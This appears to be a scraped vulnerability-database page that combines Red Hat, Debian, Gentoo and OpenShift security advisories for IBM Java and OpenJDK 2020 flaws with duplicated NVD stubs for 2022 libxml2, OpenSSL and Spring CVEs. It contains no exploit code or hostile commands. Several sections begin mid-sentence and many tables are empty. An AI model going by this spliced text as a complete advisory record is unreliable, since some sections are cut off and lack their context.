ppc64: java-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.ppc64.rpm java-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.ppc64.rpm java-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.ppc64.rpm java-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.ppc64.rpm java-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.ppc64.rpm
s390x: java-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.s390x.rpm java-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.s390x.rpm java-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.s390x.rpm java-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.s390x.rpm java-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.s390x.rpm
x86_64: java-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm
Red Hat Enterprise Linux Workstation Supplementary (v. 6):
i386: java-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.i686.rpm java-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.i686.rpm
x86_64: java-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm java-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2020-2654 https://access.redhat.com/security/cve/CVE-2020-2756 https://access.redhat.com/security/cve/CVE-2020-2757 https://access.redhat.com/security/cve/CVE-2020-2781 https://access.redhat.com/security/cve/CVE-2020-2800 https://access.redhat.com/security/cve/CVE-2020-2803 https://access.redhat.com/security/cve/CVE-2020-2805 https://access.redhat.com/security/cve/CVE-2020-2830 https://access.redhat.com/security/updates/classification/#important
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
Debian Security Advisory DSA-4668-1 security@debian.org https://www.debian.org/security/ Moritz Muehlenhoff April 28, 2020 https://www.debian.org/security/faq
Package : openjdk-8 CVE ID : CVE-2020-2754 CVE-2020-2755 CVE-2020-2756 CVE-2020-2757 CVE-2020-2773 CVE-2020-2781 CVE-2020-2800 CVE-2020-2803 CVE-2020-2805
Several vulnerabilities have been discovered in the OpenJDK Java runtime, resulting in denial of service, insecure TLS handshakes, bypass of sandbox restrictions or HTTP response splitting attacks.
For the oldstable distribution (stretch), these problems have been fixed in version 8u252-b09-1~deb9u1.
We recommend that you upgrade your openjdk-8 packages.
For the detailed security status of openjdk-8 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/openjdk-8
Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/
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"data": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: JSSE). Supported versions that are affected are Java SE: 7u251, 8u241, 11.0.6 and 14; Java SE Embedded: 8u241. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Java SE Embedded. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.0 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). It exists that OpenJDK incorrectly handled certain regular\nexpressions. An attacker could possibly use this issue to cause a denial of\nservice while processing a specially crafted regular expression. \n(CVE-2020-2754, CVE-2020-2755). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGentoo Linux Security Advisory GLSA 202006-22\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n https://security.gentoo.org/\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n Severity: Normal\n Title: OpenJDK, IcedTea: Multiple vulnerabilities\n Date: June 15, 2020\n Bugs: #718720, #720690\n ID: 202006-22\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nSynopsis\n========\n\nMultiple vulnerabilities have been found in OpenJDK and IcedTea, the\nworst of which could result in the arbitrary execution of code. \n\nBackground\n==========\n\nOpenJDK is a free and open-source implementation of the Java Platform,\nStandard Edition. \n\nIcedTea\u2019s aim is to provide OpenJDK in a form suitable for easy\nconfiguration, compilation and distribution with the primary goal of\nallowing inclusion in GNU/Linux distributions. \n\nAffected packages\n=================\n\n -------------------------------------------------------------------\n Package / Vulnerable / Unaffected\n -------------------------------------------------------------------\n 1 dev-java/openjdk-bin \u003c 8.252_p09 \u003e= 8.252_p09 \n 2 dev-java/openjdk-jre-bin\n \u003c 8.252_p09 \u003e= 8.252_p09 \n 3 dev-java/icedtea-bin \u003c 3.16.0 \u003e= 3.16.0 \n -------------------------------------------------------------------\n 3 affected packages\n\nDescription\n===========\n\nMultiple vulnerabilities have been discovered in OpenJDK and IcedTea. \nPlease review the CVE identifiers referenced below for details. \n\nImpact\n======\n\nPlease review the referenced CVE identifiers for details. \n\nWorkaround\n==========\n\nThere is no known workaround at this time. \n\nResolution\n==========\n\nAll OpenJDK binary users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose \"\u003e=dev-java/openjdk-bin-8.252_p09\"\n\nAll OpenJDK JRE binary users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot -v \"\u003e=dev-java/openjdk-jre-bin-8.252_p09\"\n\nAll IcedTea binary users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose \"\u003e=dev-java/icedtea-bin-3.16.0\"\n\nReferences\n==========\n\n[ 1 ] CVE-2020-2585\n https://nvd.nist.gov/vuln/detail/CVE-2020-2585\n[ 2 ] CVE-2020-2585\n https://nvd.nist.gov/vuln/detail/CVE-2020-2585\n[ 3 ] CVE-2020-2755\n https://nvd.nist.gov/vuln/detail/CVE-2020-2755\n[ 4 ] CVE-2020-2755\n https://nvd.nist.gov/vuln/detail/CVE-2020-2755\n[ 5 ] CVE-2020-2756\n https://nvd.nist.gov/vuln/detail/CVE-2020-2756\n[ 6 ] CVE-2020-2756\n https://nvd.nist.gov/vuln/detail/CVE-2020-2756\n[ 7 ] CVE-2020-2757\n https://nvd.nist.gov/vuln/detail/CVE-2020-2757\n[ 8 ] CVE-2020-2757\n https://nvd.nist.gov/vuln/detail/CVE-2020-2757\n[ 9 ] CVE-2020-2773\n https://nvd.nist.gov/vuln/detail/CVE-2020-2773\n[ 10 ] CVE-2020-2773\n https://nvd.nist.gov/vuln/detail/CVE-2020-2773\n[ 11 ] CVE-2020-2781\n https://nvd.nist.gov/vuln/detail/CVE-2020-2781\n[ 12 ] CVE-2020-2781\n https://nvd.nist.gov/vuln/detail/CVE-2020-2781\n[ 13 ] CVE-2020-2800\n https://nvd.nist.gov/vuln/detail/CVE-2020-2800\n[ 14 ] CVE-2020-2800\n https://nvd.nist.gov/vuln/detail/CVE-2020-2800\n[ 15 ] CVE-2020-2803\n https://nvd.nist.gov/vuln/detail/CVE-2020-2803\n[ 16 ] CVE-2020-2803\n https://nvd.nist.gov/vuln/detail/CVE-2020-2803\n[ 17 ] CVE-2020-2805\n https://nvd.nist.gov/vuln/detail/CVE-2020-2805\n[ 18 ] CVE-2020-2805\n https://nvd.nist.gov/vuln/detail/CVE-2020-2805\n[ 19 ] CVE-2020-2830\n https://nvd.nist.gov/vuln/detail/CVE-2020-2830\n[ 20 ] CVE-2020-2830\n https://nvd.nist.gov/vuln/detail/CVE-2020-2830\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n https://security.gentoo.org/glsa/202006-22\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. Any security concerns should be addressed to\nsecurity@gentoo.org or alternatively, you may file a bug at\nhttps://bugs.gentoo.org. \n\nLicense\n=======\n\nCopyright 2020 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttps://creativecommons.org/licenses/by-sa/2.5\n. 8.0) - aarch64, noarch, ppc64le, s390x, x86_64\n\n3. Description:\n\nRed Hat OpenShift Container Platform is Red Hat\u0027s cloud computing\nKubernetes application platform solution designed for on-premise or private\ncloud deployments. \n\nSecurity Fix(es):\n\n* operator-framework/presto: /etc/passwd was given incorrect privileges\n(CVE-2019-19352)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. Solution:\n\nFor OpenShift Container Platform 4.4 see the following documentation, which\nwill be updated shortly for release 4.4.3, for important instructions on\nhow to upgrade your cluster and fully apply this asynchronous errata\nupdate:\n\nhttps://docs.openshift.com/container-platform/4.4/release_notes/ocp-4-4-rel\nease-notes.html\n\nDetails on how to access this content are available at\nhttps://docs.openshift.com/container-platform/4.4/updating/updating-cluster\n- -cli.html. Bugs fixed (https://bugzilla.redhat.com/):\n\n1793281 - CVE-2019-19352 operator-framework/presto: /etc/passwd is given incorrect privileges\n\n5. 8) - aarch64, ppc64le, s390x, x86_64\n\n3. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n==================================================================== \nRed Hat Security Advisory\n\nSynopsis: Important: java-1.7.1-ibm security update\nAdvisory ID: RHSA-2020:2236-01\nProduct: Red Hat Enterprise Linux Supplementary\nAdvisory URL: https://access.redhat.com/errata/RHSA-2020:2236\nIssue date: 2020-05-20\nCVE Names: CVE-2020-2654 CVE-2020-2756 CVE-2020-2757\n CVE-2020-2781 CVE-2020-2800 CVE-2020-2803\n CVE-2020-2805 CVE-2020-2830\n====================================================================\n1. Summary:\n\nAn update for java-1.7.1-ibm is now available for Red Hat Enterprise Linux\n6 Supplementary. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Desktop Supplementary (v. 6) - i386, x86_64\nRed Hat Enterprise Linux HPC Node Supplementary (v. 6) - x86_64\nRed Hat Enterprise Linux Server Supplementary (v. 6) - i386, ppc64, s390x, x86_64\nRed Hat Enterprise Linux Workstation Supplementary (v. 6) - i386, x86_64\n\n3. Description:\n\nIBM Java SE version 7 Release 1 includes the IBM Java Runtime Environment\nand the IBM Java Software Development Kit. \n\nSecurity Fix(es):\n\n* OpenJDK: Incorrect bounds checks in NIO Buffers (Libraries, 8234841)\n(CVE-2020-2803)\n\n* OpenJDK: Incorrect type checks in MethodType.readObject() (Libraries,\n8235274) (CVE-2020-2805)\n\n* OpenJDK: Excessive memory usage in OID processing in X.509 certificate\nparsing (Libraries, 8234037) (CVE-2020-2654)\n\n* OpenJDK: Re-use of single TLS session for new connections (JSSE, 8234408)\n(CVE-2020-2781)\n\n* OpenJDK: CRLF injection into HTTP headers in HttpServer (Lightweight HTTP\nServer, 8234825) (CVE-2020-2800)\n\n* OpenJDK: Regular expression DoS in Scanner (Concurrency, 8236201)\n(CVE-2020-2830)\n\n* OpenJDK: Incorrect handling of references to uninitialized class\ndescriptors during deserialization (Serialization, 8224541) (CVE-2020-2756)\n\n* OpenJDK: Uncaught InstantiationError exception in ObjectStreamClass\n(Serialization, 8224549) (CVE-2020-2757)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nAll running instances of IBM Java must be restarted for this update to take\neffect. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1791217 - CVE-2020-2654 OpenJDK: Excessive memory usage in OID processing in X.509 certificate parsing (Libraries, 8234037)\n1823215 - CVE-2020-2756 OpenJDK: Incorrect handling of references to uninitialized class descriptors during deserialization (Serialization, 8224541)\n1823216 - CVE-2020-2757 OpenJDK: Uncaught InstantiationError exception in ObjectStreamClass (Serialization, 8224549)\n1823527 - CVE-2020-2800 OpenJDK: CRLF injection into HTTP headers in HttpServer (Lightweight HTTP Server, 8234825)\n1823542 - CVE-2020-2830 OpenJDK: Regular expression DoS in Scanner (Concurrency, 8236201)\n1823694 - CVE-2020-2803 OpenJDK: Incorrect bounds checks in NIO Buffers (Libraries, 8234841)\n1823844 - CVE-2020-2805 OpenJDK: Incorrect type checks in MethodType.readObject() (Libraries, 8235274)\n1823960 - CVE-2020-2781 OpenJDK: Re-use of single TLS session for new connections (JSSE, 8234408)\n\n6. Package List:\n\nRed Hat Enterprise Linux Desktop Supplementary (v. 6):\n\ni386:\njava-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\n\nx86_64:\njava-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\n\nRed Hat Enterprise Linux HPC Node Supplementary (v. 6):\n\nx86_64:\njava-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\n\nRed Hat Enterprise Linux Server Supplementary (v. 6):\n\ni386:\njava-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\n\nppc64:\njava-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.ppc64.rpm\njava-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.ppc64.rpm\njava-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.ppc64.rpm\njava-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.ppc64.rpm\njava-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.ppc64.rpm\n\ns390x:\njava-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.s390x.rpm\njava-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.s390x.rpm\njava-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.s390x.rpm\njava-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.s390x.rpm\njava-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.s390x.rpm\n\nx86_64:\njava-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Supplementary (v. 6):\n\ni386:\njava-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\njava-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.i686.rpm\n\nx86_64:\njava-1.7.1-ibm-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-demo-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-devel-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-jdbc-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-plugin-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\njava-1.7.1-ibm-src-1.7.1.4.65-1jpp.1.el6_10.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2020-2654\nhttps://access.redhat.com/security/cve/CVE-2020-2756\nhttps://access.redhat.com/security/cve/CVE-2020-2757\nhttps://access.redhat.com/security/cve/CVE-2020-2781\nhttps://access.redhat.com/security/cve/CVE-2020-2800\nhttps://access.redhat.com/security/cve/CVE-2020-2803\nhttps://access.redhat.com/security/cve/CVE-2020-2805\nhttps://access.redhat.com/security/cve/CVE-2020-2830\nhttps://access.redhat.com/security/updates/classification/#important\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2020 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBXsU9v9zjgjWX9erEAQg8Zw/+Lg7FSdhMbVk/Qy2+8RgdcPuiPfqGcUQg\nnT6B1XuNPo8ZHONWC+2GEsV+8SJNp8vHeZmZWn5robPd/TsB25LGCk6Kx4TQPPd8\nMsGvVphXZkuIi+44R6Xj8m8CzAQLgPGrBS6fonl0fe8W/9/7ULEG327qT0Piphpy\ns9tlQWx3PAbtw7CnFBpOlTibadg0iyqif3egEhkUFkMYxTGBNn43GvKQAX3nfgNx\nFSiy8ZeAXB3u289gMmgXjJdcIxPF5KQlEsaCEU/5LB1I5YcJkleKY0YXUOaYaZ5z\n/AkKPho/WWogwWZBtBlAb3hWOft+grko+0QsDhSGLhr5c1YPq1PTYgmCzY54imnQ\nO+KBpgX61aIY9Yil+iy0uGVhC8tpIwFx4k02SlzgocNwOZu+bwGkbm34n0NIxZBL\nWapU4IbIiforzd8IFoMVst8gPe6hF+fI4OW20aUVfImOAarpr7QuirXWuDd0xZRv\nbG/SNAAFdkDVzXVwfxDVu5KyELShTJOagRvf3sZ/e22Sy3h8VuhEBV3l2UvnLpDB\ncXkD39sy6DAahaWBveCWLfBRCCiuOn/03g9lE2oTsTQPP8YCsv23wdTEMMXXXMhW\nOO6kEvVZVDtY7KL0u4KQ2f41k70O2ybLl4gLxwTmvk5VCx2xtk7Qb1gOsVPZNMA6\nQF084+zkRgg=n3I2\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4668-1 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nApril 28, 2020 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : openjdk-8\nCVE ID : CVE-2020-2754 CVE-2020-2755 CVE-2020-2756 CVE-2020-2757 \n CVE-2020-2773 CVE-2020-2781 CVE-2020-2800 CVE-2020-2803 \n CVE-2020-2805\n\nSeveral vulnerabilities have been discovered in the OpenJDK Java runtime,\nresulting in denial of service, insecure TLS handshakes, bypass of\nsandbox restrictions or HTTP response splitting attacks. \n\nFor the oldstable distribution (stretch), these problems have been fixed\nin version 8u252-b09-1~deb9u1. \n\nWe recommend that you upgrade your openjdk-8 packages. \n\nFor the detailed security status of openjdk-8 please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/openjdk-8\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAl6ohOAACgkQEMKTtsN8\nTjauDg//dewg6ej1yoHtsiqw0vxozLnwHv+6PhzFlI2x25u7W2oBc6bRM+ZefFzm\nPh/AcWtCrtjGbPmukaFrSYXEKqmymcXS0otYH7v3FuvSDgPWou2jrZ0TuIt1ohfB\n6jszJQgfLFdQf7Ubfv1L/+fFN5rMyOVepBSbk1cI9pJWntTUprbtA5V+z1vTP9cl\n2NHGGlqAwxWHIjR/s2gKv2zoRAd46GEeEIq5e7P6xgbr/4R00JWmq/frp2wK40RT\n8rc/pcSvHq5isbJAUYuf0af5+77NZMnrQZyrLRFzpTprY1DkR7bTtFIETZJwBk2F\nqQqfo1f/hiqwdB90UXHlscVA7YxyRojJkQ57/QM0dkGTKZCxL/JyBi5B+262Qa8k\n2sgleNcPyGJjUZHNJt9C0D2TF8zBXjdqMewbu1h9jt8t7PCcgBq0EDnQdClDzESG\naTzMsM4w3ssYX41vmq3O6j90HwdFTs0lDCd1HfKK2WXgCm8IoFKdiW0ofRQdXihb\ndFizoH8yxrW9Pk9AjQoj4goaRqElEyk9hs2Sqh1HQFtHoKujxiIuoM+XQop8/9xY\ng45bWIR/jzV9AcPOUkMtGean90/qfSXAqgusXJ0mCSSP4wbvYXi04qtMmeurQFeX\n8JgNWPEehjQUzQqxLVQ4FNikIe3VG1UKwc6rPPHdwPXw4YqHJ2k=\n=Xj/N\n-----END PGP SIGNATURE-----\n",
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CVE-2022-40304 (GCVE-0-2022-40304)
Vulnerability from nvd – Published: 2022-11-23 00:00 – Updated: 2025-04-28 19:49- n/a
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CVE-2022-40303 (GCVE-0-2022-40303)
Vulnerability from nvd – Published: 2022-11-22 00:00 – Updated: 2025-04-29 04:24- n/a
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CVE-2022-2068 (GCVE-0-2022-2068)
Vulnerability from nvd – Published: 2022-06-21 14:45 – Updated: 2025-12-30 04:55- Command injection
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CVE-2022-1473 (GCVE-0-2022-1473)
Vulnerability from nvd – Published: 2022-05-03 15:15 – Updated: 2025-05-05 16:42- Denial of Service
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CVE-2022-1434 (GCVE-0-2022-1434)
Vulnerability from nvd – Published: 2022-05-03 15:15 – Updated: 2024-09-17 04:19- Incorrect MAC key
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CVE-2022-1343 (GCVE-0-2022-1343)
Vulnerability from nvd – Published: 2022-05-03 15:15 – Updated: 2025-05-05 16:42- Incorrect signature verfication
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CVE-2022-1292 (GCVE-0-2022-1292)
Vulnerability from nvd – Published: 2022-05-03 15:15 – Updated: 2025-12-30 04:55- Command injection
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CVE-2022-29824 (GCVE-0-2022-29824)
Vulnerability from nvd – Published: 2022-05-03 00:00 – Updated: 2024-08-03 06:33- n/a
| URL | Tags | |||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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CVE-2022-22968 (GCVE-0-2022-22968)
Vulnerability from nvd – Published: 2022-04-14 20:05 – Updated: 2024-08-03 03:28- Data Binding Rules Vulnerability
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
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| n/a | Spring Framework |
Affected:
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CVE-2022-23308 (GCVE-0-2022-23308)
Vulnerability from nvd – Published: 2022-02-26 00:00 – Updated: 2025-05-05 16:26- n/a
| URL | Tags | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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CVE-2022-40304 (GCVE-0-2022-40304)
Vulnerability from cvelistv5 – Published: 2022-11-23 00:00 – Updated: 2025-04-28 19:49- n/a
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CVE-2022-40303 (GCVE-0-2022-40303)
Vulnerability from cvelistv5 – Published: 2022-11-22 00:00 – Updated: 2025-04-29 04:24- n/a
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CVE-2022-2068 (GCVE-0-2022-2068)
Vulnerability from cvelistv5 – Published: 2022-06-21 14:45 – Updated: 2025-12-30 04:55- Command injection
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CVE-2022-1473 (GCVE-0-2022-1473)
Vulnerability from cvelistv5 – Published: 2022-05-03 15:15 – Updated: 2025-05-05 16:42- Denial of Service
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CVE-2022-1434 (GCVE-0-2022-1434)
Vulnerability from cvelistv5 – Published: 2022-05-03 15:15 – Updated: 2024-09-17 04:19- Incorrect MAC key
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CVE-2022-1343 (GCVE-0-2022-1343)
Vulnerability from cvelistv5 – Published: 2022-05-03 15:15 – Updated: 2025-05-05 16:42- Incorrect signature verfication
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CVE-2022-1292 (GCVE-0-2022-1292)
Vulnerability from cvelistv5 – Published: 2022-05-03 15:15 – Updated: 2025-12-30 04:55- Command injection
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CVE-2022-29824 (GCVE-0-2022-29824)
Vulnerability from cvelistv5 – Published: 2022-05-03 00:00 – Updated: 2024-08-03 06:33- n/a
| URL | Tags | |||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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||||||||||||||||||||||||||||||||||||||||||||
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CVE-2022-22968 (GCVE-0-2022-22968)
Vulnerability from cvelistv5 – Published: 2022-04-14 20:05 – Updated: 2024-08-03 03:28- Data Binding Rules Vulnerability
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| n/a | Spring Framework |
Affected:
Spring Framework versions 5.3.0 - 5.3.18, 5.2.0 - 5.2.20, and older unsupported versions
|
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CVE-2022-23308 (GCVE-0-2022-23308)
Vulnerability from cvelistv5 – Published: 2022-02-26 00:00 – Updated: 2025-05-05 16:26- n/a
| URL | Tags | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
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